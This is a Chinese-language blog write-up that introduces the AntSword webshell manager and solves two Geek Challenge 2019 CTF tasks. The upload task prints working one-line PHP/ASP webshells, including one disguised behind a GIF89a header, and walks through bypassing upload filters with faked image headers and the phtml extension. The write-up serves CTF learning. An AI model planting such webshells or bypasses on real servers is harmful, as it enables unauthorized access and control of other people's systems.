当前位置:   article > 正文

【网络安全入门】AntSword(蚁剑)实战解题详析

antsword

简介

蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

中国蚁剑的特点主要有如下几点:

1.支持多平台。包括macOS、Linux 32位、Linux 64位、Linux armv7l、Linux arm64、Windows 32位、Windows 64位。
2.完善的文档。中国蚁剑文档地址。
3.多项功能。文件管理功能、虚拟终端功能、数据库管理功能。
4.内置代理功能。支持HTTP、HTTPS、SOCKS4、SOCKS5四种代理协议。使用代理,可以连接处于内网中的Shell、加快连接速度、隐藏自身、与 BurpSuite 等工具配合使用等。
5.编码器和解码器。用于蚁剑客户端和Shell服务端通信时的加密、编码操作,可用于绕过WAF。
6.高扩展性。
i插件。具有插件仓库,也可以自己开发插件。
ii自定义编码器和解码器。

蚁剑官方文档:

https://www.yuque.com/antswordproject/antsword
  • 1

1 [极客大挑战 2019]Knife

在这里插入图片描述

思路

明显地,输入URL及密码Syc即可。

操作

1、输入URL及密码Syc并测试连接

在这里插入图片描述

2、添加数据成功后点击文件管理,在根目录找到flag

在这里插入图片描述

2 [极客大挑战 2019] Upload

在这里插入图片描述

思路

上传一句话木马文件,使用蚁剑连接服务器。

操作

1.在qiushuo.txt中写入一句话木马,修改文件格式为php并上传。

在这里插入图片描述

回显Not image!,说明文件格式不符。

2.将文件格式改为jpg,上传。

在这里插入图片描述

回显NO! HACKER! your file included '<?',说明题目对<?进行过滤

3.更换一句话木马为<%execute(request("value"))%>

在这里插入图片描述

回显Don't lie to me, it's not image at all!!!,说明题目还对图片头进行校验。

4.更改图片头

将一句话木马改为:

GIF89a
<script language="php">eval($_POST['qiushuo']);</script> 
  • 1
  • 2

上传成功:

在这里插入图片描述

5.抓包,修改文件后缀名

由于请求包限制Content-Type为image/jpeg,而image/jpeg文件不可被解析。此时需要绕过后缀,常见绕过后缀的文件格式有php,php3,php4,php5,phtml,pht
尝试修改文件后缀为pht,上传失败。
在这里插入图片描述

在尝试php、php3、php4、php5后,将文件名由qiushuo.jpg修改为qiushuo.phtml,回显成功:

在这里插入图片描述

6.进入图片保存路径,一般为/upload.filename

找到该文件:
在这里插入图片描述得到该文件URL地址。

7.连接蚁剑

在这里插入图片描述于根目录找到flag文件:

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/623675
推荐阅读
相关标签
  

闽ICP备14008679号